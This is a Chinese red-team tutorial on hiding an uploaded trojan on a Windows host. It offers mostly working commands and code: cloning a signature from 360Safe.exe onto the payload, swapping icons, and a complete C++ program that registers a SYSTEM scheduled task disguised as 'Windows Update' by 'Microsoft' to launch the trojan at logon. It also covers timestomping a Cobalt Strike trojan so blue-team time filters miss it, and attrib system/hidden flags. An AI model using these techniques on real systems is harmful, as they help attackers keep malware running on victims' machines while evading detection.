红队技术-隐藏上传的程序木马

1、exe伪装正常程序

https://github.com/secretsquirrel/SigThief

python sigthief.py -i 360Safe.exe -t notepad.exe -o tes.exe

1
2
3
-i 为签名文件
-t 为需要伪造的文件
-o 为输出文件
image-20230410153543832

https://www.trustasia.com/solution/sign-tools

image-20230410154213202

图标提取

https://github.com/JarlPenguin/BeCyIconGrabberPortable

image-20230615150111453

图标替换

Resource hacker

image-20230410153855373

2、调用计划任务API维权

使用计划任务对木马程序做好维权

image-20230615113715881

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187

// Tasksch.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>
#define _WIN32_DCOM
#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
// 引入计划任务头
#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")

using namespace std;

int __cdecl wmain()
{

// 初始化COM
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr))
{
printf("\nCoInitializeEx failed: %x", hr);
return 1;
}

// 注册安全性并设置该过程的默认安全性值。
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);

LPCWSTR wszTaskName = L"Windows Update"; //设置计划任务名称

//创建ITaskService的实例

ITaskService* pService = NULL;
hr = CoCreateInstance(CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService);

// 链接到任务实例
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());

// 获取指向根任务文件夹的指针。
ITaskFolder* pRootFolder = NULL;
hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);

// 如果存在相同的任务删除该任务
pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

// 创建任务生成器对象以创建任务。
ITaskDefinition* pTask = NULL;
hr = pService->NewTask(0, &pTask);

pService->Release(); //清理Com

// 获取注册信息
IRegistrationInfo* pRegInfo = NULL;
hr = pTask->get_RegistrationInfo(&pRegInfo);
BSTR ms = SysAllocString(L"Microsoft"); // 修改你想要改的计划任务创建者

// 创建计划任务设置
ITaskSettings* pSettings = NULL;
hr = pTask->get_Settings(&pSettings);

// 设置任务的设置值
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();

// ------------------------------------------------------
// 获取取触发器集合以插入登录触发器。
ITriggerCollection* pTriggerCollection = NULL;
hr = pTask->get_Triggers(&pTriggerCollection);

// 添加触发器
ITrigger* pTrigger = NULL;
hr = pTriggerCollection->Create(TASK_TRIGGER_LOGON, &pTrigger); //TASK_TRIGGER_EVENT 事件触发
// TASK_TRIGGER_TIME 特定时间触发
// TASK_TRIGGER_DAILY 每天触发
// TASK_TRIGGER_WEEKLY 每周触发
// TASK_TRIGGER_MONTHLY 每月触发
// TASK_TRIGGER_MONTHLYDOW 按每月的星期几触发
// TASK_TRIGGER_IDLE 系统空闲时触发
// TASK_TRIGGER_REGISTRATION 注册任务时触发
// TASK_TRIGGER_BOOT 启动触发
// TASK_TRIGGER_LOGON 用户登录触发
// TASK_TRIGGER_SESSION_STATE_CHANGE 会话更改时触发
pTriggerCollection->Release();

ILogonTrigger* pLogonTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_ILogonTrigger, (void**)&pLogonTrigger);
pTrigger->Release();

hr = pLogonTrigger->put_Id(_bstr_t(L"Trigger1"));

/*
//设置指定触发时间 如果不设置 代表任何时间都可以触发

hr = pLogonTrigger->put_StartBoundary( _bstr_t(L"2020-10-30T08:00:00") );

hr = pLogonTrigger->put_EndBoundary( _bstr_t(L"2020-10-30T08:00:00") );
*/

/*
// 定义某个用户 登录时触发 注释掉代表所有用户登录后触发

hr = pLogonTrigger->put_UserId( _bstr_t( L"administrator" ) ); //某用户登录后触发 设置某用户
//put_UserId 获取或设置用户的标识符。 参数 BSTR user
//HRESULT put_UserId(
// BSTR user
//);

//put_Delay 获取或设置一个值,该值指示用户登录到开始任务之间的时间。 参数 BSTR delay
//HRESULT put_Delay(
// BSTR delay
//);

pLogonTrigger->Release();

*/

IActionCollection* pActionCollection = NULL;
hr = pTask->get_Actions(&pActionCollection);
IAction* pAction = NULL;
hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction); //触发程序执行: TASK_ACTION_EXEC
IExecAction* pExecAction = NULL;
hr = pAction->QueryInterface(
IID_IExecAction, (void**)&pExecAction);

hr = pExecAction->put_Path(_bstr_t(L"C:\\Users\\Public\\AccountPictures\\new_msedge.exe"));
pExecAction->Release();
if (FAILED(hr))
{
printf(" 无法设置程序执行路径: %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

IRegisteredTask* pRegisteredTask = NULL;

hr = pRootFolder->RegisterTaskDefinition(
_bstr_t(wszTaskName),
pTask,
TASK_CREATE_OR_UPDATE, // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE
//仅更新:TASK_UPDATE
//仅创建:TASK_CREATE
//禁用:TASK_DISABLE

_variant_t(L"system"), // 启动身份 system 或者administrator
_variant_t(),
TASK_LOGON_GROUP, //登录技术 组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN
_variant_t(L""),
&pRegisteredTask);

if (FAILED(hr))
{
printf("\n无法保存计划任务 : %x", hr);
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}

printf("Success! 成功注册计划任务 ");

// Clean up
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}

image-20230504161956937

https://github.com/0x727/SchTask_0x727

SchTask.exe de.exe 1

image-20230615115647703

运行后会自动迁移程序至C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes

1
2
3
C:\Users\HAHA\AppData\Roaming\Microsoft\Windows\Themes\fontdrvhost.exe
C:\Windows\System32\Tasks\Microsoft\Windows\UPnP\fontdrvhost
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\UPnP\fontdrvhost

3、修改文件时间

当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查出

这时候我们就需要使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果

image-20230504161714715

net3.5安装

1
2
3
4
5
查看net版本  
shell reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP" /s /v version | findstr /i version | sort /+26 /r
需要安装net3.5 没有安装一下
shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\Users\hack\Desktop\dotnetfx35.exe
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\sources\sxs

https://github.com/MsF-NTDLL/ChTimeStamp

1
2
shell copy "C:\Program Files\Windows Defender\MpClient.dll" C:\Users\Public\AccountPictures\MpClient.dll
shell C:\Users\Public\AccountPictures\ChTimeStamp.exe C:\Users\Public\AccountPictures\new_msedge.exe C:\Users\Public\AccountPictures\MpClient.dll

image-20230504163253370

https://github.com/sorabug/ChangeTimestamp

1
ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27

image-20230505092903602

4、深度隐藏exe

在目录下选择查看隐藏文件仍无法查看

1
2
attrib +s +h +r xxx.exe
attrib -s -h -r C:\Users\Public\sbqs.exe

处理前

image-20230505151108082

处理后

image-20230505151149134